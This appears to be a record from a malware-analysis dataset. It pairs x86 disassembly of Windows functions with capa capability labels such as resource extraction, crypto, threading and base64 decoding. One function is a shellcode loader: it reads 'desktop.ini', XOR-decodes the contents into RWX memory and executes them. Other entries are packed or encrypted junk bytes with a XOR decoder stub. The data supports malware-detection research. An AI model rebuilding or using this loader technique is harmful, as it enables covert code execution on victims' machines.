joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4032e0
Capabilities:
Extract resource via kernel32 functions
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x42c008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
push ebx
push esi
xor esi, esi
mov dword [ebp - 0x10], ecx
push esi
push esi
push esi
push 0x1000002
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebx, eax
test ebx, ebx
jne 0x403320
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x4033b6
push edi
push 0
push 0
push 0
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
test edi, edi
jne 0x403340
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x4033ae
push 0x10
push 1
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x40339f
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40339f
lea ecx, [ebp - 8]
mov dword [ebp - 0xc], esi
push ecx
lea ecx, [ebp - 0xc]
push ecx
push 0x4227b0
push eax
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x40339f
mov ecx, dword [ebp - 0xc]
movzx eax, word [ecx + 0xc]
push eax
movzx eax, word [ecx + 0xe]
push eax
movzx eax, word [ecx + 8]
push eax
movzx eax, word [ecx + 0xa]
push eax
push 0x4227b4
push dword [ebp - 0x10]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
jmp 0x4033a7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [ebp - 4]
test esi, esi
pop esi
sete al
xor ecx, ebp
pop ebx
call fcn.0040f65e
mov esp, ebp
pop ebp
ret
Function at 0x4033e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x42c008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
test eax, eax
mov ecx, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov edi, dword [ebp + 0x14]
mov esi, 0x400000
push 0x10
cmovne esi, eax
mov dword [ebp - 0x18], ecx
push 1
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x4034df
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x4034df
lea eax, [ebp - 0xc]
mov dword [ebp - 0x14], 0
push eax
lea eax, [ebp - 0x14]
push eax
push 0x4227b0
push esi
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x4034df
mov ecx, dword [ebp - 0x14]
movzx eax, word [ecx + 0xc]
push eax
movzx eax, word [ecx + 0xe]
push eax
movzx eax, word [ecx + 8]
push eax
movzx eax, word [ecx + 0xa]
push eax
push 0x4227b4
push dword [ebp - 0x18]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
test ebx, ebx
je 0x4034a3
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push str.StringFileInfo040904b0Edition
push esi
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x4034a3
push dword [ebp - 0x10]
call fcn.0041389d
add esp, 4
mov dword [ebx], eax
test edi, edi
je 0x4034cc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push str.StringFileInfo040904b0SubEdition
push esi
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x4034cc
push dword [ebp - 0x10]
push 0x40
push edi
call fcn.00412d96
add esp, 0xc
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040f65e
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040f65e
mov esp, ebp
pop ebp
ret

Function at 0x403df0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x42c008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 8]
push ecx
push 0
push eax
push 0x403a40
push 0
push 0
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x403e2b
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 8], 0
je 0x403e38
lock inc dword [0x42cab4]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040f65e
mov esp, ebp
pop ebp
ret

Function at 0x403e50
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x42c008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 8]
push ecx
push 0
push eax
push 0x403bc0
push 0
push 0
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x403e8b
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 8], 0
je 0x403e98
lock inc dword [0x42cab4]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040f65e
mov esp, ebp
pop ebp
ret
Function at 0x406970
Capabilities:
Get token privileges

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x420fb0
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x42c008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x1c]
push ecx
push 8
push eax
mov dword [ebp - 0x1c], 0
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x406a73
mov edi, dword [ebp - 0x1c]
mov dword [ebp - 0x20], edi
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 0
push eax
push 0
push 0
push 0x19
push edi
mov dword [ebp - 0x14], 0
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov eax, dword [ebp - 0x14]
xor ecx, ecx
shr eax, 3
mov edx, 8
inc eax
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040f783
mov esi, eax
add esp, 4
mov dword [ebp - 0x18], esi
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
push dword [ebp - 0x14]
push esi
push 0x19
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x406a95
mov ebx, dword [esi]
push ebx
call dword [sym.imp.ADVAPI32.dll_IsValidSid]
test eax, eax
je 0x406ab7
push ebx
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
movzx eax, byte [eax]
dec eax
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
push esi
mov ebx, dword [eax]
call fcn.0040f78c
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040f65e
mov esp, ebp
pop ebp
ret
push str.Unable_to_open_process_token_
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x30]
call fcn.004068a0
push 0x429b3c
lea eax, [ebp - 0x30]
push eax
call fcn.00410ada
push str.Unable_to_retrieve_process_mandatory_label_
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x30]
call fcn.004068a0
push 0x429b3c
lea eax, [ebp - 0x30]
push eax
call fcn.00410ada
push str.Unable_to_verify_mandatory_label_
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x40]
call fcn.004068a0
push 0x429b3c
lea eax, [ebp - 0x40]
push eax
call fcn.00410ada
int3
Function at 0x406ed0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x421050
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x42c008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x406fb9
cmp dword [ebp - 0x14], 0
jl 0x406f31
jg 0x406f22
cmp dword [ebp - 0x18], 0x40000000
jbe 0x406f31
push str.Unable_to_process_files_over_1GB_
push 0xdf
jmp 0x406fc5
push 0
push 0
push 0
push 2
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
test esi, esi
jne 0x406f4f
push str.Unable_to_open_file_mapping_
jmp 0x406fbe
mov dword [ebp - 0x2c], esi
push 0
push 0
push 0
push 4
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
test edi, edi
jne 0x406f75
push str.Unable_to_open_file_mapping_
jmp 0x406fbe
mov dword [ebp - 0x30], edi
push dword [ebp + 0xc]
mov byte [ebp - 4], 1
push dword [ebp - 0x18]
push edi
call fcn.00406fe0
add esp, 0xc
mov bl, al
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040f65e
mov esp, ebp
pop ebp
ret
push str.Unable_to_determine_file_size_
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x28]
call fcn.004068a0
push 0x429b3c
lea eax, [ebp - 0x28]
push eax
call fcn.00410ada
int3
Function at 0x407880
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4210c8
mov eax, dword fs:[0]
push eax
sub esp, 0x7c
mov eax, dword [0x42c008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x78], esi
mov dword [esi], 0
movups xmm0, xmmword [str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider]
mov eax, dword [0x4234dc]
mov dword [ebp - 0x40], eax
mov ax, word [0x4234e0]
movups xmmword [ebp - 0x70], xmm0
push 0x2a
movups xmm0, xmmword [0x4234bc]
mov word [ebp - 0x3c], ax
lea eax, [ebp - 0x3a]
push 0
movups xmmword [ebp - 0x60], xmm0
push eax
movups xmm0, xmmword [0x4234cc]
mov dword [ebp - 4], 0
movups xmmword [ebp - 0x50], xmm0
call fcn.00410980
add esp, 0xc
call fcn.00406ae0
cmp eax, 0x5020000
jae 0x40791c
push str.__Prototype_
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0xf0000040
push 0x18
lea eax, [ebp - 0x70]
push eax
push 0
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x407967
mov eax, dword [esi]
mov ecx, dword [ebp - 0x74]
mov dword [esi], ecx
test eax, eax
je 0x40794b
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040f65e
mov esp, ebp
pop ebp
ret
push str.Unable_to_acquire_cryptographic_provider_
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x88]
call fcn.004068a0
push 0x429b3c
lea eax, [ebp - 0x88]
push eax
call fcn.00410ada
int3
Function at 0x4079d0
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x421109
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x42c008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x14]
mov edi, dword [ebp + 0xc]
push 0
push 0
push eax
push 0
push 1
mov dword [ebp - 0x20], esi
push 0
mov dword [ebp - 0x1c], 0
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x407a92
lea ecx, [ebp - 0x15]
xorps xmm0, xmm0
push ecx
movq qword [esi], xmm0
mov ecx, esi
push eax
mov dword [esi + 8], 0
call fcn.004077e0
push 0
push 0
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 0
push eax
push dword [esi]
mov dword [ebp - 0x1c], 1
push 1
push 0
push edi
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
test eax, eax
je 0x407ab4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040f65e
mov esp, ebp
pop ebp
ret
push str.Unable_to_decode_base64_string_
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x30]
call fcn.004068a0
push 0x429b3c
lea eax, [ebp - 0x30]
push eax
call fcn.00410ada
push str.Unable_to_decode_base64_string_
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x30]
call fcn.004068a0
push 0x429b3c
lea eax, [ebp - 0x30]
push eax
call fcn.00410ada
int3
Function at 0x407ae0
Capabilities:
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x421159
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x42c008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
lea ecx, [ebp - 0x18]
mov ebx, dword [ebp + 0xc]
xorps xmm0, xmm0
mov esi, dword [ebp + 0x14]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], 0
movlpd qword [ebp - 0x18], xmm0
call fcn.00407880
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x20]
mov dword [ebp - 4], 0
push eax
push 0
push 0
push esi
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x407c32
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
test ecx, ecx
je 0x407b6d
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov eax, dword [ebp - 0x14]
push 0
push dword [ebp + 0x10]
mov dword [ebp - 4], 1
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x407c54
mov esi, dword [ebp - 0x14]
lea eax, [ebp - 0x1c]
push 0
push eax
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 2
push eax
push 4
push esi
mov dword [ebp - 0x1c], 4
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x407c76
lea eax, [ebp - 0x22]
mov byte [ebp - 0x21], 0
push eax
lea eax, [ebp - 0x21]
xorps xmm0, xmm0
push eax
push dword [ebp - 0x20]
movq qword [edi], xmm0
mov ecx, edi
mov dword [edi + 8], 0
call fcn.00407740
push 0
lea eax, [ebp - 0x20]
mov dword [ebp - 0x28], 2
push eax
push dword [edi]
push 2
push esi
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x407c98
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x407c04
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x407c14
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040f65e
mov esp, ebp
pop ebp
ret
push str.Unable_to_create_hash_context_
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x3c]
call fcn.004068a0
push 0x429b3c
lea eax, [ebp - 0x3c]
push eax
call fcn.00410ada
push str.Unable_to_update_hash_context_
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x4c]
call fcn.004068a0
push 0x429b3c
lea eax, [ebp - 0x4c]
push eax
call fcn.00410ada
push str.Unable_to_determine_digest_size_
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x4c]
call fcn.004068a0
push 0x429b3c
lea eax, [ebp - 0x4c]
push eax
call fcn.00410ada
push str.Unable_to_retrieve_digest_
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x3c]
call fcn.004068a0
push 0x429b3c
lea eax, [ebp - 0x3c]
push eax
call fcn.00410ada
int3
Function at 0x407d10
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42118c
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x42c008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x2c]
mov ecx, dword [0x42cb54]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x42cadc]
cmp eax, dword [ecx + 4]
jg 0x407d91
lea eax, [ebp - 0x18]
xorps xmm0, xmm0
push eax
push 8
push dword [0x42cad8]
movlpd qword [ebp - 0x18], xmm0
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
je 0x407ddb
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040f65e
mov esp, ebp
pop ebp
ret
push 0x42cadc
call fcn.0040f56a
add esp, 4
cmp dword [0x42cadc], 0xffffffff
jne 0x407d54
mov ecx, 0x42cad8
mov dword [ebp - 4], 0
call fcn.00407880
push 0x421550
call fcn.0040f9f9
push 0x42cadc
mov dword [ebp - 4], 0xffffffff
call fcn.0040f520
add esp, 8
jmp 0x407d54
push str.Unable_to_generate_random_number_
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x28]
call fcn.004068a0
push 0x429b3c
lea eax, [ebp - 0x28]
push eax
call fcn.00410ada
int3
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x9c7ef4
Capabilities:
Encode data using xor

Disassembly:
cmpsb byte [esi], byte es:[edi]
insd dword es:[edi], dx
in al, 0xb4
daa
movsb byte es:[edi], byte [esi]
xchg edx, eax
inc eax
call 0x45fd1bb
or dword [edx + 0x629c0d40], 0xc5023b20
rol ebx, 0x44
xchg esi, eax
and al, byte [esi + 0x19af372c]
xchg ebx, eax
xchg ebx, eax
fprem
xchg ebp, eax
enter 0xffffffffffffbc94, 0x15
lodsd eax, dword [esi]
scasb al, byte es:[edi]
inc edi
pushfd
xor ebx, edx
xchg esi, eax
inc edx
xchg edi, eax
inc eax
insb byte es:[edi], dx
sbb al, 0xbc
jo 0x9c7ebf
mov ebp, 0x915b0e8
test byte [ebp - 0x491fe5c2], bh
sbb byte [esi - 0x3c], cl
add bl, ch
or eax, 0x40df181d
movsb byte es:[edi], byte [esi]
cdq
std
inc esi
aad 0x8b
test byte [edx + 0x12574005], cl
dec ebp
mov esp, 0x60c2ff85
inc edx
xor byte [ebx], bh
add eax, 6
dec ebx
rcl dword [esp + ecx], cl
or al, 0x94
adc al, 0xa
fcomp st(1)
ficomp dword [ebx - 0x3a528729]
mov esp, 0x4d9f2ddd
and dword [ecx], 0x25
int3
Function at 0x10048b4c
Capabilities:
Encode data using xor

Disassembly:
mov dword [esp], 0xa4a8ec4a
call fcn.10045be2
inc eax
invalid

Function at 0xe3f628
Capabilities:
Encode data using xor

Disassembly:
cdq
popal
sbb dword [esp + ecx*8], 0x14
and byte [ebx + 0x8eb7437], 0
jmp 0xe3f632
add byte [esi + 4], bh
jmp 0xe3f632
add byte [eax], al
add byte [eax], al
add byte [eax - 0x18], ah
add byte [eax], al
add byte [eax], al
pushal
call 0xe3f638
pop ebp
sub ebp, 0x10
sub ebp, 0xa3f628
jmp 0xe3f64e
mov eax, 0xa3f628
add eax, ebp
add eax, 0x4c
mov ecx, 0x5a1
mov edx, 0xa6f3eb69
mov eax, dword [0xba000005]
imul ebp, ebx, 0x1030a6f3
xor byte [eax], dl
inc eax
dec ecx
jne 0xe3f665
jmp 0xe3f678
loop 0xe3f61e
loop 0xe3f65c
push ebp
imul ebp, dword [ecx + 0x69], 0x6991a8e8
imul ebp, dword [ecx + 0x6a], 0x696dd1a4
imul ebp, dword [ecx - 0x2d], 0x69696941
call 0x6a4d882d
imul ebp, dword [edx - 0x5c], 0x69696dd1
imul edx, ebx, 0x69696941
sahf
mov ebp, dword [edx - 0x5f]
loop 0xe3f680
imul ebp, dword gs:[ecx + 0x69], 0x3939ac6a
add dword [0x169488d], ebx
fnstsw word [eax - 0x15]
imul ebp, dword [eax + 0x45], 0xcaeb014d
pop esi
sbb eax, 0x69696c81
imul eax, dword [eax + 0x6969695f], 0x954d0de4
loopne 0xe3f707
dec ebp
in al, 5
dec ebp
imul esp, edx, 0x696961ec
imul esp, edx, 0x696965fc
imul esp, edx, 0x696979e4
imul ebp, dword [eax + 0x6b586b80], 0x206dabea
in al, dx
popfd
xchg esi, eax
xchg esi, eax
xchg esi, eax
loop 0xe3f72f
dec ebp
in al, 0xd
dec ebp
insd dword es:[edi], dx
stosd dword es:[edi], eax
imul esp, edx, 0x696d4de5
imul ebp, dword [ecx + 1], 0x69488d1d
add ebp, ebx
js 0xe3f6ed
insd dword es:[edi], dx
imul ebp, dword [ecx + 0x69], 0x488d1d01
imul eax, dword [ecx], 0x69eb78dd
push 0x81384d45
insb byte es:[edi], dx
imul ebp, dword [eax + 0x45], 0x6c81384d
sub dword [ecx + ebp*2 + 0x69], 0x6b5a8069
imul ebp, dword [ecx + 0x3c], 0x1c96343d
xchg esi, eax
sbb al, 0x61
or dword [edi], 0xe2696969
aam 0x61
imul ebp, dword [ecx + 0x69], 0x696b5a80
imul edi, dword [edi + 0x651c9634], 0x81611c96
punpckhwd mm5, qword [ecx + 0x69]
loop 0xe3f6f5
popal
imul ebp, dword [ecx + 0x69], 0xbb5aa05a
ljmp 0x27ed
daa
imul ebp, dword [ecx + 0x69], 0x6921e166
imul ebp, dword [ecx + 0xf], 0xe95075e2
xchg edx, eax
and dword [esi - 0x13], 0x69696973
jmp 0xee4a77dd
Function at 0x403400
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x403459
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x403459
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x40344a
cmp esi, edx
jae 0x403459
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x403438
cmp esi, edx
jae 0x403459
cmp word [esi], 0
je 0x403459
mov eax, esi
pop esi
pop ebp
ret
xor eax, eax
pop esi
pop ebp
ret
Function at 0x404ff0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x442fb6
mov eax, dword fs:[0]
push eax
sub esp, 0x424
mov eax, dword [0x452064]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x430], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], 0
mov dword [ebp - 0x418], 0
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push 0x60
push 0
push edi
mov byte [ebp - 4], 1
call ebx
mov esi, eax
mov dword [ebp - 0x424], esi
test esi, esi
jne 0x40509c
push 2
push eax
push edi
call ebx
mov esi, eax
mov dword [ebp - 0x424], eax
test esi, esi
jne 0x40509c
call fcn.00404390
mov edi, eax
jmp 0x4051bb
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x4050bf
call fcn.00404390
jmp 0x4051ae
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
mov dword [ebp - 0x420], ebx
test ebx, ebx
jne 0x4050dd
call fcn.00404390
jmp 0x4051ae
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov dword [ebp - 0x41c], edi
lea eax, [edi + 1]
cmp eax, edi
jae 0x4050fe
mov edi, 0x8007000e
jmp 0x4051b0
mov ecx, 2
mov byte [ebp - 4], 2
mul ecx
test edx, edx
ja 0x4051f4
jb 0x40511c
cmp eax, 0xffffffff
ja 0x4051f4
cmp eax, 0x400
jbe 0x405131
push eax
lea ecx, [ebp - 0x418]
call fcn.004042b0
jmp 0x405157
lea eax, [ebp - 0x414]
mov dword [ebp - 0x418], eax
jmp 0x405157
cmp dword [ebp - 0x418], 0
mov dword [ebp - 4], 1
jne 0x40516e
mov edi, 0x8007000e
jmp 0x4051b0
push edi
push dword [ebp - 0x418]
push edi
push ebx
push 0
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
jne 0x40518e
call fcn.00404390
jmp 0x4051ae
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x42c]
push dword [ebp - 0x418]
call fcn.00404e50
mov edi, eax
test esi, esi
je 0x4051bb
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x4051d4
lea ecx, [ebp - 0x418]
call fcn.004045b0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004083c3
mov esp, ebp
pop ebp
ret 0x10
push 0x80070216
call fcn.00401d10
int3